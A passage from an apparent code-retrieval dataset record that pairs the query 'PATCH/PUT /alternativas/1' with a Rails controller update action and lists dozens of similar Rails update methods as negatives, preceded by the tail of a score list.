"0.5076403",
"0.5070465",
"0.5068551",
"0.5064666",
"0.5063667",
"0.5059296",
"0.50581974",
"0.5053525",
"0.505291",
"0.50516546",
"0.505109",
"0.5049049",
"0.5048799",
"0.50474524",
"0.50451654",
"0.5044977",
"0.50447583",
"0.50444967",
"0.50429475",
"0.50400287",
"0.5031415",
"0.50313044",
"0.50304985",
"0.50246835",
"0.5023209",
"0.50214803",
"0.5020703",
"0.5020057"
] |
0.72534
|
1
|
PATCH/PUT /alternativas/1 PATCH/PUT /alternativas/1.json
|
def update
respond_to do |format|
if @alternativa.update(alternativa_params)
format.html { redirect_to @alternativa, notice: 'Alternativa was successfully updated.' }
format.json { render :show, status: :ok, location: @alternativa }
else
format.html { render :edit }
format.json { render json: @alternativa.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @alternativo.update(alternativo_params)\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativo }\n else\n format.html { render :edit }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @alternativa = Alternativa.find(params[:id])\n\n respond_to do |format|\n if @alternativa.update_attributes(params[:alternativa])\n flash[:notice] = 'Alternativa foi atualizado(a) com sucesso.'\n format.html { redirect_to(@alternativa) }\n format.xml { render :xml => @alternativa, :status => :created, :location => @alternativa }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @alternativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pregunta_alternativa.update(pregunta_alternativa_params)\n format.html { redirect_to @pregunta_alternativa, notice: 'Pregunta la pregunta fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @pregunta_alternativa }\n else\n format.html { render :edit }\n format.json { render json: @pregunta_alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(etiqueta_params)\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @kela.update(kela_params)\n format.html { redirect_to @kela, notice: 'Kela was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @core_nota = Core::Nota.find(params[:id])\n\n respond_to do |format|\n if @core_nota.update_attributes(params[:core_nota])\n format.html { redirect_to @core_nota, notice: 'Nota was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_nota.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa editada com sucesso.' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_alternativo\n @alternativo = Alternativo.find(params[:id])\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @core_liberar_nota = Core::LiberarNota.find(params[:id])\n\n respond_to do |format|\n if @core_liberar_nota.update_attributes(params[:core_liberar_nota])\n format.html { redirect_to @core_liberar_nota, notice: 'Liberar nota was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_liberar_nota.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lensa.update(lensa_params)\n format.html { redirect_to @lensa, notice: 'Lensa was successfully updated.' }\n format.json { render :show, status: :ok, location: @lensa }\n else\n format.html { render :edit }\n format.json { render json: @lensa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nota_tecnica.update(nota_tecnica_params)\n format.html { redirect_to @nota_tecnica, notice: 'Nota tecnica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @nota_tecnica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @articulo = Articulo.find(params[:id])\n if @articulo.update(articulo_params)\n format.html { redirect_to \"/articulos/#{@articulo.url}\", notice: 'Articulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @articulo }\n else\n format.html { render :edit }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nota_aluno.update(nota_aluno_params)\n format.html { redirect_to @nota_aluno, notice: 'Nota aluno was successfully updated.' }\n format.json { render :show, status: :ok, location: @nota_aluno }\n else\n format.html { render :edit }\n format.json { render json: @nota_aluno.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @anio.update(anio_params)\n format.html { redirect_to @anio, notice: 'Anio was successfully updated.' }\n format.json { render :show, status: :ok, location: @anio }\n else\n format.html { render :edit }\n format.json { render json: @anio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asana.update(asana_params)\n format.html { redirect_to @asana, notice: 'Asana atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @asana }\n else\n format.html { render :edit }\n format.json { render json: @asana.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @lancamentorapido = Lancamentorapido.find(params[:id]) \n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n\n respond_to do |format|\n if @lancamentorapido.update_attributes(params[:lancamentorapido])\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @questao.update(questao_params)\n format.html { redirect_to @questao, notice: 'Questao was successfully updated.' }\n format.json { render :show, status: :ok, location: @questao }\n else\n format.html { render :edit }\n format.json { render json: @questao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @litigante.update(litigante_params)\n format.html { redirect_to @litigante, notice: 'Litigante was successfully updated.' }\n format.json { render :show, status: :ok, location: @litigante }\n else\n format.html { render :edit }\n format.json { render json: @litigante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @antropo.update(antropo_params)\n format.html { redirect_to @antropo, notice: 'Antropo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @antropo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n save_relations\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient.recipe, notice: 'Ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @representante_athlete.update_attributes(params[:representante_athlete])\n format.html { redirect_to representante_athletes_url, notice: 'Atleta atualizado com sucesso' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @representante_athlete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.update') }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @klasa.update(klasa_params)\n format.html { redirect_to @klasa, notice: 'Klasa was successfully updated.' }\n format.json { render :show, status: :ok, location: @klasa }\n else\n format.html { render :edit }\n format.json { render json: @klasa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cautela.update(cautela_params)\n format.html { redirect_to @cautela, notice: 'Cautela atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cautela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n respond_to do |format|\n if @lectura.update(lectura_params)\n format.html { redirect_to lecturas_path, notice: 'La lectura fue actualizada.' }\n format.json { render :show, status: :ok, location: @lectura }\n else\n format.html { render :edit }\n format.json { render json: @lectura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def update\n @lugar = Lugar.find(params[:id])\n\n respond_to do |format|\n if @lugar.update_attributes(params[:lugar])\n format.html { redirect_to @lugar, notice: 'Lugar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lugar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_aposta.update(tipo_aposta_params)\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_aposta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n if @aroma.update_attributes(params[:aroma])\n format.html { redirect_to @aroma, notice: 'Aroma was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aroma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n if @aactio.update_attributes(params[:aactio])\n format.html { redirect_to @aactio, notice: 'Aactio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @ingredient.recipe\n respond_to do |format|\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient}\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @recipe = Recipe.find(params[:id])\n #\n update! do |success, failure|\n # success.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n # success.json { head :ok }\n # failure.html { render action: \"edit\" }\n # failure.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end",
"def update\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n if @noto.update_attributes(params[:noto])\n format.html { redirect_to @noto, :notice => 'Noto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @noto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cautela.update(cautela_params)\n format.html { redirect_to \"/cautelas\", notice: 'A Cautela foi Editada Com Sucesso!' }\n format.json { render :show, status: :ok, location: @cautela }\n else\n format.html { render :edit }\n format.json { render json: @cautela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @voluntario.update(voluntario_params) and @voluntario.update_attributes(:modificador => current_user.id)\n format.html { redirect_to @voluntario, notice: 'Voluntario was successfully updated.' }\n format.json { render :show, status: :ok, location: @voluntario }\n else\n format.html { render :edit }\n format.json { render json: @voluntario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tutorial.update(tutorial_params)\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n if @assunto.update_attributes(params[:assunto])\n format.html { redirect_to @assunto, notice: 'Assunto atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assunto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loa.update(loa_params)\n format.html { redirect_to @loa, notice: 'Letter of Applicaton was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @loa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(revista_params)\n format.html { redirect_to @objeto, notice: 'Revista was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def update\n @receipe = Receipe.find(params[:id])\n\n respond_to do |format|\n if @receipe.update_attributes(params[:receipe])\n format.html { redirect_to @receipe, notice: 'Receipe was successfully updated.' }\n format.json { head :no_content }\n else\n @receipe.fix_highest_aroma_percentage!\n format.html do\n @selectable_aromas = Aroma.all\n render action: \"edit\"\n end\n format.json { render json: @receipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @aluno.update(aluno_params)\n format.html { redirect_to @aluno, notice: t('.update', default: t('helpers.messages.update')) }\n format.json { render :show, status: :ok, location: @aluno }\n else\n format.html { render :edit }\n format.json { render json: @aluno.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n params[:recipe][:ingredients].each do |ingredient_id|\n next if ingredient_id.to_i == 0\n ingredient = Ingredient.find(ingredient_id.to_i)\n @recipe.ingredients << ingredient\n end\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n if @repa.update_attributes(params[:repa])\n format.html { redirect_to @repa, notice: 'Repa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def update_rest\n @answer_localized = AnswerLocalized.find(params[:id])\n\n respond_to do |format|\n if @answer_localized.update_attributes(params[:answer_localized])\n flash[:notice] = 'AnswerLocalized was successfully updated.'\n format.html { redirect_to(@answer_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer_localized.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n if @api_noun.update_attributes(params[:api_noun])\n format.html { redirect_to @api_noun, notice: 'Noun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, :notice => 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n respond_to do |format|\n save_relations\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.json { head :ok }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @aluguel.update(aluguel_params)\n format.html { redirect_to @aluguel, notice: 'Aluguel was successfully updated.' }\n format.json { render :show, status: :ok, location: @aluguel }\n else\n format.html { render :edit }\n format.json { render json: @aluguel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @titulacao.update(titulacao_params)\n format.html { redirect_to titulacaos_path, notice: 'Titulo atualizado com successo.' }\n format.json { render titulacaos_path, status: :ok, location: titulacaos_path }\n else\n format.html { render :edit }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n if @taux_tva.update_attributes(params[:taux_tva])\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tutorial.update(tutorial_params)\n format.html { redirect_to @tutorial, notice: \"Tutorial was successfully updated.\"}\n format.json {render :show, status: ok, location: @tutorial}\n else\n format.html { render :edit }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n # binding.pry\n @ringtone = Ringtone.find(params[:id])\n\n respond_to do |format|\n if @ringtone.update_attributes(params[:ringtone])\n format.html { redirect_to @ringtone, notice: 'Ringtone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ringtone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @loja = Loja.find(params[:id])\n\n respond_to do |format|\n if @loja.update_attributes(params[:loja])\n format.html { redirect_to @loja, notice: 'Loja actualizada com sucesso' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loja.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lectura.update(lectura_params)\n format.html { redirect_to @lectura, notice: 'La lectura fue actualizada.' }\n format.json { render :show, status: :ok, location: @lectura }\n else\n format.html { render :edit }\n format.json { render json: @lectura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tinta.update(tinta_params)\n format.html { redirect_to @tinta, notice: 'Tinta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tinta }\n else\n format.html { render :edit }\n format.json { render json: @tinta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @typo.update(typo_params)\n format.html { redirect_to @typo, notice: 'Typo was successfully updated.' }\n format.json { render :show, status: :ok, location: @typo }\n else\n format.html { render :edit }\n format.json { render json: @typo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @lecture.update(lecture_params)\n format.html { redirect_to lectures_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @toto.update(toto_params)\n format.html { redirect_to @toto, notice: 'Toto was successfully updated.' }\n format.json { render :show, status: :ok, location: @toto }\n else\n format.html { render :edit }\n format.json { render json: @toto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @potluck_recipe.update(potluck_recipe_params)\n format.html { redirect_to @potluck_recipe, notice: 'Potluck recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @potluck_recipe }\n else\n format.html { render :edit }\n format.json { render json: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @iglesia.update(iglesia_params)\n format.html { redirect_to @iglesia, notice: 'La iglesia #{@iglesia.nombre} ha sido actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
